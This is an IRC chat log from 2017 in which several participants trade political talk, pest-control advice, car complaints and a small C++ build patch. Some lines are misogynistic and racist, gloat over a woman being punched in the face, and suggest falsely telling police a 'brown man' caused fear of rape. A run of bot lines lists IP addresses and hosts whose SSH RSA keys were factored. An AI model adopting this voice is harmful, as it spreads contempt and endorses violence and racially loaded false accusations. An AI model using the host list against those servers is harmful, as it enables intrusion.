2017-04-15 01:17 mircea_popescu: i expect about half are white, unsexed, males in their 30s +- 8 years. 1644501;1492321137;asciilifeform;deculturated wonders automagically create a tv. 1644502;1492321143;mircea_popescu;i don't think so. 1644503;1492321153;asciilifeform;in 18th c it was their dour churches. 1644504;1492321158;mircea_popescu;lazy is not in any sense precluded by smart. just look at bernstein. 1644505;1492321288;asciilifeform;http://btcbase.org/log/2017-04-16#1644493 << ahahaha die for ~what~. is what nation is. 1644506;1492321288;a111;Logged on 2017-04-16 05:36 mircea_popescu: teach the girls to whore and the boys to die, that's all the nation you'll ever need or for that matter want. 1644507;1492321310;mircea_popescu;i don't think it worked on anyone but illiterate peasants, that trick. 1644508;1492321317;asciilifeform;'die for mcshitburger' ain't working out so well for the anglotards. 1644509;1492321330;mircea_popescu;again, historical accident dun enact engineering lest we end up building planes of roof since tornado happened. 1644510;1492321351;asciilifeform;'die for a fat broad's right to marry her dog' (tm)(r)(trilema) 1644511;1492321464;mircea_popescu;i don't think anyone imagines natostan works 1644512;1492321475;mircea_popescu;theirein included, the "our democracy" aparatchicks. 1644513;1492321583;asciilifeform;hassids, however: work. ( e.g. http://btcbase.org/log/2016-11-01#1561673 thread ) 1644514;1492321583;a111;Logged on 2016-11-01 23:12 asciilifeform: and in re last thread also, i know of 0 examples of anybody pulling this kind of thing off using strictly volunteers having no blood relation. 1644515;1492321595;asciilifeform;chechens -- work. 1644516;1492321627;mircea_popescu;i thought you didn't think they worked. 1644517;1492321642;asciilifeform;they work, as far as i can tell. 1644518;1492321644;mircea_popescu;heh. 1644519;1492321659;mircea_popescu;how about we let a chechen join the wot, make it to the lordship, then he can tell us they work if they do. 1644520;1492321663;asciilifeform;fact: somebody gotta fall on grenade. plug embrasure. 1644521;1492321666;mircea_popescu;till then, they work as well as drinking gasoline works. 1644522;1492321675;mircea_popescu;"man... i forgot what i was tryinna do!" 1644523;1492321703;asciilifeform;resisting dissolution in surrounding deculturated liquishit == works. 1644524;1492321708;mircea_popescu;nonsense. 1644525;1492321725;asciilifeform;resisting mcshitburger. 1644526;1492321736;mircea_popescu;makes it into l1 and says it works = works. 1644527;1492321777;asciilifeform;whole point is that they are own l1. 1644528;1492321794;asciilifeform;dun need us martians for anything. 1644529;1492321810;mircea_popescu;= not works. 1644530;1492321840;mircea_popescu;that's my whole fucking point, i need another set of "oh, we have slavegirls! no they can't dance and what is this cocksucking ? BANNED BY GOD!!11" bullshit. 1644531;1492321848;asciilifeform;this is a postulation, not an observation, nor a deduction; i won't engage it 1644532;1492321849;mircea_popescu;might have been entertaining in 1100 1644533;1492321889;mircea_popescu;the notion that random-dorks may make "their own" l1 is not unlike the proposition princeton made its own alt-world in which it is relevant and "Blockchain technologees". 1644534;1492321910;mircea_popescu;if it didn't suck it'd have been in here. 1644535;1492321911;asciilifeform;princeton is a tendril of the octopus. 1644536;1492321933;mircea_popescu;what, and you're enumerating badness ? 1644537;1492321948;asciilifeform;whereas anything demonstrably separate from the octopus, and that resists it, is a valuable thing. 1644538;1492321957;mircea_popescu;the problem isn't "princeton is tendril of XXX". the problem is "if princeton didn't suck it would have been in here." 1644539;1492321965;mircea_popescu;that is nonsense. 1644540;1492322182;asciilifeform;mircea_popescu seriously expects sane folx to automatically accept him as pope 'at first sight' ? 1644541;1492322196;asciilifeform;just like-so? 1644542;1492322204;mircea_popescu;me ? 1644543;1492322251;asciilifeform;well, how am i to process 'if they didn't suck, they'd already be here' 1644544;1492322287;mircea_popescu;well, in my apparently peculiar view "here" is a construct of thought rather than a mpapacy. 1644545;1492322301;asciilifeform;ideally! 1644546;1492322418;mircea_popescu;eh, let them be the better mps, if they got the wetware. what, you think i'd object ? 1644547;1492322463;mircea_popescu;save me the fucking trouble, i'll throw a ticker tape parade. 1644548;1492322495;*;asciilifeform typically of same mind re own functions. 1644549;1492322527;mircea_popescu;if power rangers weren't terminal fucking retards it's altogether unlikely anyone'd even know the name. 1644550;1492322546;mircea_popescu;i don't even mean "if they were brilliant" or anything. 1644551;1492322580;asciilifeform;if earlier set of powerrangers weren't similarly retarded, we would not have heard of stalin, say. 1644552;1492322635;asciilifeform;i don't know of a traditional name for his historical process, but imho it deserves one. 1644553;1492322636;mircea_popescu;conceivably. 1644554;1492322645;asciilifeform;*this historical 1644555;1492322676;*;asciilifeform bbl, bedtime 1644556;1492322681;mircea_popescu;i dunno, fucking with the tomb of tal'rasha 1644557;1492344460;mircea_popescu;^ iran, fancy that. 1644558;1492351216;deedbot;http://trilema.com/2017/in-scams-today-disk-less-terminal-sa-dba-laesquinadelamazmorra/ << Trilema - In scams today, Disk Less Terminal SA dba "laesquinadelamazmorra" 1644559;1492353305;*;BingoBoingo suspects nation scam is simple effort to hijack tribal tendancies for gr8 tragedy 1644560;1492353600;mircea_popescu;certainly fits observed record. 1644561;1492355595;asciilifeform;in other non-news, northkr pr0n, http://red-sovet.su/post/29932/walk-around-the-north-korean-network 1644562;1492355607;asciilifeform;( text is a snoar, scroll to pics ) 1644563;1492355769;*;mircea_popescu scrolls 1644564;1492355797;mircea_popescu;i do not understand why all the girls are old ugly and dressed in this porn ? 1644565;1492355818;mircea_popescu;http://68.media.tumblr.com/2cd87e3f3bad357bf5e1d68d67069f2d/tumblr_obpp2tZzta1s71ndao1_1280.jpg << better porn. 1644566;1492355873;mircea_popescu;asciilifeform seriously now, what's with the syncrhonized glass clinking, is this one of those mass weddings or something ? scientology run event ? 1644567;1492355935;asciilifeform;hey, asia. martians. 1644568;1492355950;mircea_popescu;the waitresses have nice tits and terrible skirts. 1644569;1492355959;mircea_popescu;i expect this pretty much summarizes north korea altogether. 1644570;1492356054;mircea_popescu;aaanyway, must be one helluva trip for good soviet, it looks exactly like what su'd have been in 2017 had everyone involved been braindamaged enough to permit it to continue past 88. 1644571;1492356064;mircea_popescu;including the terrible apples and all the food fixation of an evidently hungry people. 1644572;1492356102;asciilifeform;i especially luvvv the usual american retort 'over where they didn't let the tourist go, they have zimbabwe, ruins, zombies'. as if, e.g., baltimore, did not look like this. 1644573;1492356137;mircea_popescu;my objection is that if i invited any of those girls with nice tits to my hotel room she wouldn't have sense enough to strip while walking the hallway. 1644574;1492356157;asciilifeform;no shit, hungy, they only recently came out of latest usg-organized famine, 90s 1644575;1492356181;asciilifeform;*hungry 1644576;1492356201;mircea_popescu;it's funny how you don't regard the is-organized rape of the us as is-organized but you DO regard the best korea-organized famine of best korea as us organized. 1644577;1492356269;asciilifeform;who blockaded usa , again ? land, sea, air 1644578;1492356272;asciilifeform;? 1644579;1492356314;asciilifeform;picture if martians bombed everyone who paid for usa exports . 1644580;1492356323;mircea_popescu;who bombed china ? 1644581;1492356351;asciilifeform;nobody , since the chinese built sovereigntytrons 1644582;1492356370;mircea_popescu;it's also their very largest trade partner by huge margin. 1644583;1492356382;asciilifeform;~only afaik 1644584;1492356403;mircea_popescu;so then what are you on about ? 1644585;1492356433;asciilifeform;the chinese are reluctant partners. 1644586;1492356436;mircea_popescu;... 1644587;1492356493;asciilifeform;they, afaik, would rather that 'korea problem' quietly evaporate. 1644588;1492356650;mircea_popescu;someone would not rather the usg problem quietly evaporate ? 1644589;1492356662;mircea_popescu;what, you imagine if tomorrow there were simply a hole in the ocean where the us stood anyone'd miss them ? 1644590;1492356668;mircea_popescu;nobody'd miss them, don't kid yourself. 1644591;1492356668;asciilifeform;now that'd be something! 1644592;1492356730;asciilifeform;nao if only problems quietly evaporated, ever. 1644593;1492356879;asciilifeform;for instance, squirrels have dug a tunnel into my wall, it would be great if they disappeared suddenly. but they won't, will have to get specialists 1644594;1492357110;mircea_popescu;o.O 1644595;1492357122;mircea_popescu;are they deposing nuts with the first bank of alf ? 1644596;1492357366;asciilifeform;devil knows 1644597;1492357404;asciilifeform;took me forever to even find the hole, was behind a gutter, on roof 1644598;1492357464;asciilifeform;owner of bldg: 'get removers, then invoice'. takes forever, tho, still waiting. 1644599;1492357510;asciilifeform;these cardboard dwellings , they take heroic efforts simply to keep from coming apart. 1644600;1492357528;asciilifeform;under pressure from such thing even as squirrel. 1644601;1492357723;mircea_popescu;i must confess it's first thing i hear man's dwelling under threat from squirrel. 1644602;1492357728;mircea_popescu;first time* 1644603;1492357735;diana_coman;alternatively, get an owl I suppose 1644604;1492357740;mircea_popescu;ahahaha 1644605;1492357801;asciilifeform;i'd buy ten. 1644606;1492358333;asciilifeform;http://btcbase.org/log/2017-04-16#1644558 << cr sounds moar and moar argentine every day? ( but... with slightly better cheese 1644607;1492358333;a111;Logged on 2017-04-16 14:00 deedbot: http://trilema.com/2017/in-scams-today-disk-less-terminal-sa-dba-laesquinadelamazmorra/ << Trilema - In scams today, Disk Less Terminal SA dba "laesquinadelamazmorra" 1644608;1492358342;asciilifeform;? ) 1644609;1492358460;mircea_popescu;i did think that dude is likely ag expat. 1644610;1492358466;mircea_popescu;but no, the country is fine. bars, open! 1644611;1492358488;mircea_popescu;they are poor, of course. 1644612;1492358995;BingoBoingo; for instance, squirrels have dug a tunnel into my wall, it would be great if they disappeared suddenly. but they won't, will have to get specialists << THere's a version of polyurethane foam marketed for this purpose. 1644613;1492359034;BingoBoingo; these cardboard dwellings , they take heroic efforts simply to keep from coming apart. << The general movement seems to be converting the cardboard into polyurethane in place at sucker's expense 1644614;1492359047;asciilifeform;BingoBoingo: aha, already used. result: new hole. 1644615;1492359069;asciilifeform;gotta kill the colony, the queen, or however it worx. 1644616;1492359107;BingoBoingo;Ah, yeah. Apparently D-con is popular for this purpose as are veteran barn cats 1644617;1492359119;asciilifeform;dozen orbiting cats, apparently 0 help. 1644618;1492359132;asciilifeform;i've never even seen these fat hogs, climb a roof. 1644619;1492359134;BingoBoingo;Wrong kind of cats. Urban cats 1644620;1492359207;BingoBoingo;You need a redneck kitty that ain't going to let any of those coons/squirrels/mice onto kitty's land 1644621;1492359536;BingoBoingo;Common theme of "ode to barn cat" postings is week after mourning presumed loss of barncat, barn cat returns from spec ops mission of murder 1644622;1492359592;mircea_popescu;lol 1644623;1492359678;BingoBoingo;First rule of barn cat is you feed them well so that they do not try to ration their murder in instead recreate in their death skills 1644624;1492359719;BingoBoingo;Second rule of barn cat, is you wait for barncat to approach you for petting. 1644625;1492360204;BingoBoingo;asciilifeform: If you do not wish to travel to civilized lands in search of barncat other things squirrels hate include OC spray and .22 LR 1644626;1492360544;BingoBoingo;In other pest control problems https://archive.is/gaKxL 1644627;1492361048;BingoBoingo;Still more pest control http://www.returnofkings.com/119492/antifa-gets-destroyed-by-right-wing-safety-squads-in-berkeley 1644628;1492363386;asciilifeform;BingoBoingo: lol, sprays into house ?! and .22 may as well be dynamite, where i live 1644629;1492363423;asciilifeform;( though quiet air rifle might work. still quite a bit like squashing individual ants, to control ant problem. 99% of the time the beasts aren't in the open air, where one might draw a bead on them ) 1644630;1492363659;asciilifeform;from comment section : 'Watch the clip again. Watch her stand there against that wall. You can see she is thinking for the first time in her adult life about REALITY, not the fantasy she has been dreaming her life was all about.' 1644631;1492363762;asciilifeform;'I don't know what happened to Trump. Some muse he may be drugged and we would never know it and it makes sense. The world watched this man for two years to election day. And after Jan 20th, we watched him proceed immediately to walk his talk. Then... in like 24hrs... a full 180. If not drugs and mind control, there is always the secret grassy knoll footage of Kennedy's head being blown off to help Trump "get the message."' 1644632;1492363769;asciilifeform;lulzy. 1644633;1492364269;mircea_popescu;heh 1644634;1492364275;mircea_popescu;how about don't elect 70yos. 1644635;1492364286;asciilifeform;'elect' 1644636;1492364297;mircea_popescu;eh wouldja stop already. 1644637;1492364311;asciilifeform;there wasn't a 30yo on the ballot, what. 1644638;1492364317;asciilifeform;i checked. 1644639;1492364335;mircea_popescu;ah. 1644640;1492364375;asciilifeform;we have perfectly good elections here of the presorted 70y.o's. just like in the other su. 1644641;1492364405;mircea_popescu;myah. 1644642;1492364706;deedbot;http://phuctor.nosuchlabs.com/gpgkey/81831C6E8476ADF6D95F869D65330BAA462CE6D7B442AB83077A0D98548DE9BC << Recent Phuctorings. - Phuctored: 1602...0837 divides RSA Moduli belonging to '209.131.117.10 (ssh-rsa key from 209.131.117.10 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (aaa1.dgram.net. US NY) 1644643;1492364707;deedbot;http://phuctor.nosuchlabs.com/gpgkey/81831C6E8476ADF6D95F869D65330BAA462CE6D7B442AB83077A0D98548DE9BC << Recent Phuctorings. - Phuctored: 1677...1853 divides RSA Moduli belonging to '209.131.117.10 (ssh-rsa key from 209.131.117.10 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (aaa1.dgram.net. US NY) 1644644;1492364707;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CF93649AC225B58AA0456CF8DA98FA588E8453CACE17A1D461D4FDDCB2FF1A18 << Recent Phuctorings. - Phuctored: 1741...4817 divides RSA Moduli belonging to '210.210.162.147 (ssh-rsa key from 210.210.162.147 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (210.210.162.147.cbn.net.id. ID JK) 1644645;1492364708;deedbot;http://phuctor.nosuchlabs.com/gpgkey/CF93649AC225B58AA0456CF8DA98FA588E8453CACE17A1D461D4FDDCB2FF1A18 << Recent Phuctorings. - Phuctored: 1417...3453 divides RSA Moduli belonging to '210.210.162.147 (ssh-rsa key from 210.210.162.147 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (210.210.162.147.cbn.net.id. ID JK) 1644646;1492364708;deedbot;http://phuctor.nosuchlabs.com/gpgkey/01455705F0486015FF171CA50A4981C16D62C238C5FC70DAA16CC5D24DC3BC84 << Recent Phuctorings. - Phuctored: 1576...4113 divides RSA Moduli belonging to '88.174.84.173 (ssh-rsa key from 88.174.84.173 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (via95-1-88-174-84-173.fbx.proxad.net. FR J 95) 1644647;1492364710;deedbot;http://phuctor.nosuchlabs.com/gpgkey/01455705F0486015FF171CA50A4981C16D62C238C5FC70DAA16CC5D24DC3BC84 << Recent Phuctorings. - Phuctored: 1746...5073 divides RSA Moduli belonging to '88.174.84.173 (ssh-rsa key from 88.174.84.173 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (via95-1-88-174-84-173.fbx.proxad.net. FR J 95) 1644648;1492364710;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7AD0C288DAC0088B7CAF1EDB0BE90720348D4E4C5949D54F3FDCD5511342C249 << Recent Phuctorings. - Phuctored: 1484...6029 divides RSA Moduli belonging to '213.222.33.5 (ssh-rsa key from 213.222.33.5 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown BG) 1644649;1492364710;deedbot;http://phuctor.nosuchlabs.com/gpgkey/7AD0C288DAC0088B7CAF1EDB0BE90720348D4E4C5949D54F3FDCD5511342C249 << Recent Phuctorings. - Phuctored: 1623...2089 divides RSA Moduli belonging to '213.222.33.5 (ssh-rsa key from 213.222.33.5 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown BG) 1644650;1492364710;deedbot;http://phuctor.nosuchlabs.com/gpgkey/A1647B55DEE35AAD8F888A4E8AE24333DAE40CDC1C27E6EA1DC19917D4D82C5C << Recent Phuctorings. - Phuctored: 1667...9797 divides RSA Moduli belonging to '69.55.234.228 (ssh-rsa key from 69.55.234.228 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (web1.bookoo.com. US) 1644651;1492364711;deedbot;http://phuctor.nosuchlabs.com/gpgkey/A1647B55DEE35AAD8F888A4E8AE24333DAE40CDC1C27E6EA1DC19917D4D82C5C << Recent Phuctorings. - Phuctored: 1433...2207 divides RSA Moduli belonging to '69.55.234.228 (ssh-rsa key from 69.55.234.228 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (web1.bookoo.com. US) 1644652;1492364736;asciilifeform;turns out thing was down, ddosed to death, for a spell. 1644653;1492364859;asciilifeform;the postgresql nonsense is infuriating. 1644654;1492365066;asciilifeform;http://web1.bookoo.com << 'Hi. Welcome to TEST Bookoo! Our fantabulerrific online yard sale in TEST' >> looks like a faux alibaba 1644655;1492365223;ben_vulpes;craigslist for the maga demo? 1644656;1492365258;asciilifeform;nfi 1644657;1492372737;mats;http://www.forbes.com/sites/michaeldunne/2017/02/19/rats-new-cars-soy-coated-wires-give-rodents-plenty-to-chew-on 1644658;1492373104;asciilifeform;'Some newer model cars use materials like soy that are more biodegradable than plastics. It's all part of an effort to make car parts more environmentally-friendly. A Volvo service representative at a Volvo dealer in Michigan confirmed some instances of chewed wires, though they "mostly occurred in rural areas -- not cities." A Volvo spokesperson said that an "initial investigation [into the subject] did not return any substantive info 1644659;1492373118;asciilifeform;lulz 1644660;1492373161;asciilifeform;envirowhinerism - expensive, shoddy, deadly. (tm)(r)(uncle al) 1644661;1492373258;asciilifeform;and, of course, 'inflation dun exist, terrorist. and here, buy a 40,000$ auto with plastic body and soy wires.' 1644662;1492373347;asciilifeform;and if rats won't chew through the 400$ soy wires, the engine comp will auto-destruct ( sop in obummer-era units ) in 5y 1644663;1492373919;asciilifeform;re: 'biodegradable' -- see also http://btcbase.org/log/2014-05-26#690046 thread. 1644664;1492373919;a111;Logged on 2014-05-26 21:42 asciilifeform: BingoBoingo: reminds me of a time when i stowed some stuff in plastic garbage bags, then discovered they were... biodegradable. turned to astonishing quantity of dust. when vacuuming old flat, found fragments - years after the fact. 1644665;1492373995;asciilifeform;and every day that an auto lasts past its purchase credit being fully paid in -- is a bug , from lizard pov. 1644666;1492374068;*;asciilifeform knows several people who ended up throwing one out either ~immediately after, or even prior to, the expiration of the magic 5y timer. 1644667;1492374120;asciilifeform;from magically-unfixable ('this is the 7th replacement engine comp and now they last 2 hours only') boojums. 1644668;1492374295;asciilifeform;shit however much you want on su, but their card were ~eternal~ -- in the sense of being repairable, theoretically for ever, and with common 20th c. tooling. 1644669;1492374334;asciilifeform;'lada' in cuba will be on the road when the last toyota made post-'08 is scrapped. 1644670;1492374344;asciilifeform;*cars were 1644671;1492375281;mod6;not sure if I mentioned yesterday, but I did start a collection of another ~1Gb of entropy from the same fg as I wrote up the blog post about. 1644672;1492375308;mod6;gonna see what those results look like... then will probably continue on and test the remainder of the fgs I've got. 1644673;1492375522;asciilifeform;neato mod6 1644674;1492375534;asciilifeform;i'd also much like to hear from other FUCKGOATS users. 1644675;1492375598;mod6;me too fwiw 1644676;1492375687;mod6;update on offline-eatblock: 431K+ and into blk0041 1644677;1492375750;mod6;looks like 7655 minutes running so far. ~5.3 days. 1644678;1492377951;ben_vulpes;in other alf triggers: https://github.com/zhemao/glisp 1644679;1492378720;asciilifeform;snoar 1644680;1492379656;mircea_popescu;soo... i spent most of the day in the casinos, during which amiable passtime i happened to pick up the following tidbit : 1644681;1492379670;mircea_popescu;ford made a fucking crib. like for kids, for your house. except it mimics your driving 1644682;1492379684;mircea_popescu;lights and errything. you can even register actual tracks and have it play them back to the poor baby. 1644683;1492379752;BingoBoingo; BingoBoingo: lol, sprays into house ?! and .22 may as well be dynamite, where i live << Nah, onto squirrels looking at your house. Get picnic chair, grab coffee, and wait 1644684;1492379970;BingoBoingo;"Wozniak envisions Earth zoned for residential use and Mars for heavy industry." << Tard, residences can only be so far from heavy industry or "Y no Roads?" 1644685;1492380173;ben_vulpes;relatedly, light industry in p-town is gearing up for some serious wailing on the topic of how all of the cheap housing for their cheap labor is ~gone and now cheap labor has to buy a car and fuel/maintain/operate/park it instead of biking ten minutes to the shabby-chic warehouse from their squalid shared living setups 1644686;1492380213;mircea_popescu;can has road to mars 1644687;1492380216;mircea_popescu;i read a novel. 1644688;1492380297;mircea_popescu;ben_vulpes biking is no solution to anything. 1644689;1492380413;ben_vulpes;tar me not with their wailing! 1644690;1492380453;mircea_popescu;:p 1644691;1492380543;ben_vulpes;the naive counter that "cars and more land area covered with rapidly-depreciated asphault solve nothing either!" is stupidly ignorant of path-dependent processes. america is the land of cars (thanks eisenhower) and will remain so for as far out as i can see. 1644692;1492380602;ben_vulpes;plastification of typical vehicle mitigates against wear and tear from ever more degraded roads. less mass, less demand on the shock absorption system. 1644693;1492380663;ben_vulpes;there's a very real lower bound on the savings to be delivered with this vehicle though, and they're probably going to get burnt down by the poor folks who can't afford any better than the plastic having to drive further because must ams cities. 1644694;1492381343;mircea_popescu;you have it re the tear issue. 1644695;1492381366;mircea_popescu;the decision was made cca 2006 us infrastructure will not be maintained. the plasticar is unavoidable "squeeze last drop" 1644696;1492381391;mircea_popescu;but the curious are encouraged to do a court survey of cases of "motorist killed by large road debris", there's been 100s of cases to date. 1644697;1492381469;ben_vulpes;bridges still fall down in the great again 1644698;1492381478;mircea_popescu;and will. "because bums". 1644699;1492381491;ben_vulpes;mitigation actually runs in two directions; reduction in wear on road from lighter vehicles and reduction in wear on lighter vehicles from their own asses bouncing around. human-mass will keep going up, though, which will also eat the savings. 1644700;1492381516;ben_vulpes;aaaand because the rail system is nonexistent, freight weight will not change and continue to rip roads up. 1644701;1492381541;mircea_popescu;not so much freight left. most of the "goods" consumed by average ustard being "virtual" ie ipad bonbons. 1644702;1492381590;ben_vulpes;who could've predicted that a transportation system designed to give every schmuck their own car for driving as far as they can would be so expensive in the long run. who could've predicted the automatic transmission would accelerate the trend, or that robocars idem. 1644703;1492381608;mircea_popescu;awell 1644704;1492381628;mircea_popescu;whocouldhavepredicted/condolezzariceism pays well and wins no wars. 1644705;1492381734;mircea_popescu;in other news and fwiw -- mp's stable of expert pic interpreters diagnosed the usgtard face smashing brigades as "likely oakland, maybe some rural oregon" 1644706;1492381768;BingoBoingo;Who could have predicted! 1644707;1492381796;mircea_popescu;in any case chick getting facepunched will be new trilema header. 1644708;1492382400;mircea_popescu;muuch better. 1644709;1492382506;*;ben_vulpes loled at an old local liberal spitting on the ground when having to discuss "eugene anarchists" 1644710;1492382535;mircea_popescu;awww 1644711;1492382548;BingoBoingo;Well, Oregon was founded for whitey 1644712;1492382579;mircea_popescu;that dork is precious though. overweight, totally cockroach-headed female going at a very hurr durr pace right into a fist. 1644713;1492382590;mircea_popescu;hopefully it fractured her nose in such a manner she's still bleeding. 1644714;1492382611;ben_vulpes;glorious socialist republic, at the forefront of socialist innovations claimed and actual, from right to die to filthy black-brigaders messing up all of our lovely peaceful protests 1644715;1492382621;mircea_popescu;she's like something from a coloring book for mongoloid kids. 1644716;1492382628;mircea_popescu;happy poo bear or some shit. 1644717;1492382682;BingoBoingo;Literal "poo" bear 1644718;1492382697;mircea_popescu;amusingly, the trump still delivers even in his hour of senile irrelevancy. 1644719;1492382719;ben_vulpes;something something also "involved in 'porn'" 1644720;1492382730;BingoBoingo;In other roads, nearby shithole cutting spending but total tax levy still goes up 10% in one year because pensions http://www.bnd.com/news/local/article144779574.html#storylink=hpdigest 1644721;1492382739;mircea_popescu;ben_vulpes huh ? 1644722;1492382760;BingoBoingo;mircea_popescu: Apparently she does unshaved cunt porn 1644723;1492382778;mircea_popescu;who the fuck ? "police" pantsuit clown ? 1644724;1492382790;ben_vulpes;unrelatedly, /me testing a node compiling under c++11 rules, wild vpatch for anyone who wants to play along: http://p.bvulpes.com/pastes/p2A0L/?raw=true 1644725;1492382805;ben_vulpes;1% compiler flags, 99% syntax gynmastics 1644726;1492382906;BingoBoingo; who the fuck ? "police" pantsuit clown ? << Punched antifa cunt 1644727;1492382966;asciilifeform;ben_vulpes: this builds ?? 1644728;1492382980;mircea_popescu;BingoBoingo link plox ? 1644729;1492382994;*;mircea_popescu will make a better gif. 1644730;1492382998;ben_vulpes;asciilifeform: unless i've made a terrible mistake, do believe it builds 1644731;1492383003;ben_vulpes;is there a reason to think that it wouldn't? 1644732;1492383003;asciilifeform;- printf("nTransactionFee = %"PRI64d"\n", nTransactionFee); 1644733;1492383004;asciilifeform;+ printf("nTransactionFee = %" PRI64d "\n", nTransactionFee); 1644734;1492383005;asciilifeform;^ wai? 1644735;1492383026;ben_vulpes;gcc's c++11 mode began complaining about such 1644736;1492383034;asciilifeform;what's the such ? 1644737;1492383040;asciilifeform;spaces ?! 1644738;1492383050;ben_vulpes;something along the lines of string literals next to template macros 1644739;1492383057;asciilifeform;pffff 1644740;1492383065;ben_vulpes;i can reproduce up the specific barf if you'd like 1644741;1492383072;asciilifeform;plz 1644742;1492383093;ben_vulpes;one sec, brain liquifier running 1644743;1492383197;BingoBoingo;mircea_popescu: https://www.erocurves.com/venus-rosales-hairy-inked-girl/ 1644744;1492383205;mircea_popescu;ahahaha nice. 1644745;1492383220;asciilifeform;notbad.jpg 1644746;1492383245;BingoBoingo;more http://www.returnofkings.com/wp-content/uploads/2017/04/before-after-antifa.jpg 1644747;1492383322;asciilifeform;http://btcbase.org/log/2017-04-16#1644681 << does it come with little smoke bomb so they can breathe CO even when at home, in sim car ? 1644748;1492383322;a111;Logged on 2017-04-16 21:54 mircea_popescu: ford made a fucking crib. like for kids, for your house. except it mimics your driving 1644749;1492383338;mircea_popescu;possible. 1644750;1492383358;asciilifeform;( orlov had a point re 'notice, they have CO detectors in boats, but not in any passenger car. because the alarm would ring continuously. ) 1644751;1492383404;ben_vulpes;asciilifeform: http://p.bvulpes.com/pastes/ew8j2/?raw=true 1644752;1492383417;asciilifeform;http://btcbase.org/log/2017-04-16#1644683 << aha, i can sit and enjoy perforating own roof and walls, while i wait for 1st passing police car to shoot me in the back, 'we saw terrorist with rifle' 1644753;1492383417;a111;Logged on 2017-04-16 21:55 BingoBoingo: BingoBoingo: lol, sprays into house ?! and .22 may as well be dynamite, where i live << Nah, onto squirrels looking at your house. Get picnic chair, grab coffee, and wait 1644754;1492383451;asciilifeform;ben_vulpes: nuts. 1644755;1492383451;ben_vulpes;although wtf, perhaps this vpatch does not nuke all barfage 1644756;1492383457;BingoBoingo;asciilifeform: Nah, that's where you deploy OC spray. If cops come you just say brown man was near, feared rape 1644757;1492383466;*;ben_vulpes have stale strange in tooling 1644758;1492383481;asciilifeform;BingoBoingo: my street is ~100% 'brown' 1644759;1492383490;BingoBoingo;Sit in chair, spray squirrels 1644760;1492383499;BingoBoingo;asciilifeform: Then story is credible 1644761;1492383511;BingoBoingo;And consider moving 1644762;1492383520;asciilifeform;to where ? 1644763;1492383522;asciilifeform;mars ? 1644764;1492383557;BingoBoingo;Move to place where neighbor has productive barncat. 1644765;1492383564;BingoBoingo;http://www.breitbart.com/jerusalem/2017/04/16/exclusive-gay-porn-kingpin-protect-america-muslim-barbarians/ 1644766;1492383668;mats;http://btcbase.org/log/2017-04-16#1644743 << white people with dreads are the worst 1644767;1492383668;a111;Logged on 2017-04-16 22:53 BingoBoingo: mircea_popescu: https://www.erocurves.com/venus-rosales-hairy-inked-girl/ 1644768;1492383682;mats;fucking wooks 1644769;1492383689;mircea_popescu;heh 1644770;1492383702;mircea_popescu;you don't understand her search for her own cultural identity. 1644771;1492383723;mircea_popescu;also, she's not white. she prefers to be referred to as "buttery" 1644772;1492383766;BingoBoingo; also, she's not white. she prefers to be referred to as "buttery" << i.e. wants to trap a black man and get Obeast on him 1644773;1492383781;mats;and while i'm being hateful, i think the chinese owner of my favorite chinese takeout spot sold the place because i received complementary dinner rolls with my meal 1644774;1492383781;mircea_popescu;also thank you very much internets! http://trilema.com <<< now has a header fit for the times. 1644775;1492383792;mats;probably bought by a white person 1644776;1492383815;mircea_popescu;mats i get free shit in chinese restaurants half the fucking time. 1644777;1492383815;asciilifeform;mircea_popescu: l0l!! 1644778;1492383827;mircea_popescu;asciilifeform truth gotta be spoken somewhere on the www. 1644779;1492383838;mats;i've never seen a dinner roll in any asian restaurant in my life 1644780;1492383867;mircea_popescu;oh the item specifically. what is it ? 1644781;1492383889;mats;bread roll 1644782;1492383892;mircea_popescu;um 1644783;1492383895;mats;http://allrecipes.com/recipe/215378/classic-dinner-rolls 1644784;1492383917;asciilifeform;meanwhile, they built a 'whole foods' ('high end' food shop) not far from where asciilifeform lives, he went in, and saw : http://www.loper-os.org/pub/wfood.jpg 1644785;1492383917;mircea_popescu;lol! 1644786;1492383938;mircea_popescu;mats it's a CONTINENTAL!!11 chinese restaurant nao, beotch! 1644787;1492383959;mircea_popescu;asciilifeform very typical of the "expert in metaphysics" generation. 1644788;1492383969;asciilifeform;let's put random wordz on the sticker. 1644789;1492383973;asciilifeform;and moar random wordz. 1644790;1492383990;mircea_popescu;who the fuck wants swamp dc LOCAL coffee ? 1644791;1492383997;mircea_popescu;im not even sure i'd eat the local gator. 1644792;1492383999;asciilifeform;it ain't local of course 1644793;1492384002;mircea_popescu;nooo ? 1644794;1492384007;asciilifeform;coffee dun grow here, wtf 1644795;1492384011;mircea_popescu;WOULD A LABEL LIE?! 1644796;1492384013;asciilifeform;it grows in bananistans 1644797;1492384015;asciilifeform;'fair trade' 1644798;1492384018;BingoBoingo;lol 1644799;1492384032;mircea_popescu;"it was a fair lie!" 1644800;1492384307;asciilifeform;http://btcbase.org/log/2017-04-16#1644701 << even in tiny nowhere town, megatonnes of shitburger, cornstarch 'beer', menstruettes, devil knows what else, delivered every morning. on gigantic trucks. 1644801;1492384307;a111;Logged on 2017-04-16 22:25 mircea_popescu: not so much freight left. most of the "goods" consumed by average ustard being "virtual" ie ipad bonbons. 1644802;1492384337;asciilifeform;'man does not live' by ipad ' alone'!11 1644803;1492384392;asciilifeform;http://btcbase.org/log/2017-04-16#1644692 << 